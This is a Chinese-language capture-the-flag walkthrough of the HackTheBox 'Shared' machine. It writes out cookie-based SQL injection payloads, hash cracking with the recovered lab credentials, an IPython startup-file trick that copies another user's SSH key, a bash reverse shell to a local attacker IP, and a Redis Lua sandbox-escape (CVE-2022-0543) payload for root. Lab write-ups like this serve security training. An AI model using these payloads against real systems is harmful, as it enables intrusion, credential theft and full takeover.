• Hackthebox Shared 利用cookie进行sql注入,Redis沙盒逃逸漏洞提权


    在这里插入图片描述
    题目地址:

    https://app.hackthebox.com/machines/Shared
    
    • 1

    枚举

    使用nmap枚举靶机

    nmap -sC -sV 10.10.11.172
    
    • 1

    在这里插入图片描述

    机子只开启了22,80和443端口,同时我们还枚举到了域名,我们在本地dns解析一下这个域名

    echo "10.10.11.172 shared.htb" >> /etc/hosts
    
    • 1

    然后枚举网站根目录

    ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt -t 100 -mc 200,302 -u http://shared.htb/FUZZ
    
    • 1

    没有扫描到什么有用的目录

    枚举网站子域名

    gobuster vhost -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt -t 50 -u shared.htb
    
    • 1

    在这里插入图片描述

    发现了一个子域名,本地dns解析一下这个域名

    echo "10.10.11.172 checkout.shared.htb" >> /etc/hosts
    
    • 1

    然后枚举网站的框架,我们去网页上面看看
    在这里插入图片描述

    网站的框架是PrestaShop,通过google搜索此框架的相关漏洞,发现了一片文章

    https://build.prestashop.com/news/major-security-vulnerability-on-prestashop-websites/
    
    • 1

    在这里插入图片描述

    在提交参数的时候,这个网站可能存在sql注入漏洞

    在这里插入图片描述

    这是一个购物网站,我随意选择了一个商品,点击付款

    在这里插入图片描述

    他会跳转到我们之前扫描到的子域名网站上

    在这里插入图片描述

    用burp抓一下包,看看有没有什么突破点

    获取用户shell

    由于网站是https的,所以要在浏览器网络设置里添加一下

    在这里插入图片描述

    在这里插入图片描述
    在burp上可以看到,这里是商品的cookie,修改一下看看有没有sql注入漏洞

    {"' and 0=1 union select 1,2,3-- -":"1"}
    
    • 1

    在这里插入图片描述

    在这里插入图片描述

    说明网站存在sql注入漏洞,然后就是查表查字段了,找账号和密码

    查询数据库名

    {"' and 0=1 union select 1,database(),3-- -":"1"}
    
    • 1

    在这里插入图片描述

    查表

    {"' and 0=1 union select 1,table_name,table_schema from information_schema.tables where table_schema='checkout'-- -":"1"}
    
    • 1

    在这里插入图片描述

    查询用户名和密码

    {"' and 0=1 union select 1,username,2 from checkout.user-- -":"1"}
    {"' and 0=1 union select 1,password,2 from checkout.user-- -":"1"}
    
    • 1
    • 2

    在这里插入图片描述

    在这里插入图片描述

    用john爆破这个密码的md5值

    echo "fc895d4eddc2fc12f995e18c865cf273" > hash
    john -w=/usr/share/wordlists/rockyou.txt hash --format=Raw-MD5   //设置格式为md5
    
    • 1
    • 2

    在这里插入图片描述

    用户名:james_mason
    密码:Soleil101
    
    • 1
    • 2

    尝试登录ssh

    ssh james_mason@10.10.11.172
    
    • 1

    在这里插入图片描述

    登录成功,但是没有user.txt文件,而且还有第二个用户,看来我们要想办法登录另一个用户

    查询developer组的suid权限文件

    find / -group developer 2>/dev/null
    
    • 1

    在这里插入图片描述

    找到一个文件,但是里面什么都没有

    现在我们上传linpeas和pspy文件来搜集机子信息

    https://github.com/DominicBreuker/pspy/releases/tag/v1.2.0
    https://github.com/carlospolop/PEASS-ng
    
    • 1
    • 2

    在这里插入图片描述

    开启apache服务,然后在靶机上下载文件

    service apache2 start
    wget http://10.10.14.8/pspy64
    wget http://10.10.14.8/linpeas.sh
    
    • 1
    • 2
    • 3

    然后给这两个脚本执行的权限

    chmod +x pspy64
    chmod +x linpeas.sh
    
    • 1
    • 2

    在这里插入图片描述

    然后执行脚本,在运行pspy脚本监听linux进程时,发现了一个奇怪的程序

    在这里插入图片描述
    在这里插入图片描述

    dan_smith用户正在后台运行ipython程序,然后google看看ipython有没有相关的漏洞,然后发现了这篇文章

    https://github.com/ipython/ipython/security/advisories/GHSA-pq7m-3gw7-gq5x
    
    • 1

    在这里插入图片描述

    这个漏洞允许一个用户以另一个用户身份运行代码,我们可以执行cat命令,查看dan_smith用户的ssh密钥,之后ssh登录就好了

    去到之前找到的的suid权限的目录,然后执行上面的命令

    mkdir -m 777 profile_default
    mkdir -m 777 profile_default/startup
    echo "import os; os.system('cat ~/.ssh/id_rsa > /dev/shm/key')" > profile_default/startup/foo.py
    
    • 1
    • 2
    • 3

    在这里插入图片描述

    成功得到dan_smith用户的密钥,在kali上创建一个名为id_rsa的文件,设置权限为600,将密钥复制进去

    然后ssh登录

    ssh -i id_rsa dan_smith@10.10.11.172
    
    • 1

    在这里插入图片描述

    成功获得dan_smith用户的权限,在查看用户时,发现了一个奇怪的组

    提权

    查询这个组的suid权限的文件

    find / -group sysadmin 2>/dev/null
    
    • 1

    在这里插入图片描述

    找到一个有suid权限的程序,他是root用户创建的,但是我们可以执行

    在这里插入图片描述

    它已通过redis身份验证,程序本身可能有密码,我们将这个程序下载到kali上分析

    cd /usr/local/bin/
    python3 -m http.server 5555
    
    • 1
    • 2

    然后去kali上下载这个文件

    wget http://10.10.11.172:5555/redis_connector_dev
    
    • 1

    在这里插入图片描述

    我们在本地运行一下这个程序试试

    在这里插入图片描述

    它需要访问6379端口,我们用nc开一个试试

    nc -nvlp 6379
    
    • 1

    运行程序,返回nc查看时,可以发现一个密码

    在这里插入图片描述

    然后通过google看能不能找到redis存在的漏洞,然后就发现了这篇文章

    https://thesecmaster.com/how-to-fix-cve-2022-0543-a-critical-lua-sandbox-escape-vulnerability-in-redis/
    
    • 1

    在这里插入图片描述

    cve-2022-0543,Redis中的关键Lua沙盒逃逸漏洞,可以造成RCE,我们用这个漏洞试试能不能提权

    https://github.com/aodsec/CVE-2022-0543
    
    • 1

    可以用这个脚本,也可以手动提权

    在这里插入图片描述

    我们可以创建一个文件,里面是我们的反向shell,然后让程序执行这个文件,就能拿到root权限了

    先去这个网站生成一个bash 的反向shell

    https://www.revshells.com/
    
    • 1

    在这里插入图片描述

    echo "/bin/bash -i >& /dev/tcp/10.10.14.8/3456 0>&1" > /home/dan_smith/shell
    
    • 1

    然后使用密码登录redis

    redis-cli --pass F2WHqJUz2WEz=Gqq
    
    • 1

    在这里插入图片描述

    在kali上监听3456端口

    nc -nvlp 3456
    
    • 1

    回到靶机,执行payload

    eval 'local l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = l(); local f = io.popen("cat /home/dan_smith/shell | bash"); local res = f:read("*a"); f:close(); return res' 0
    
    • 1

    在这里插入图片描述

    成功拿到root权限

    在这里插入图片描述

  • 相关阅读:
    JavaWeb
    Maven 管理多模块应用
    Spring 通过注解来存储和读取对象
    2022年华中杯数学建模挑战赛B题量化投资问题求解全过程文档及程序
    17. Python 逻辑运算
    msys如何编译64位ffmpeg 带x264 x265
    Mac删除不在程序坞的程序
    分块指北
    android.bp文件禁用oat 优化
    go exec 包
  • 原文地址:https://blog.csdn.net/qq_45894840/article/details/127802992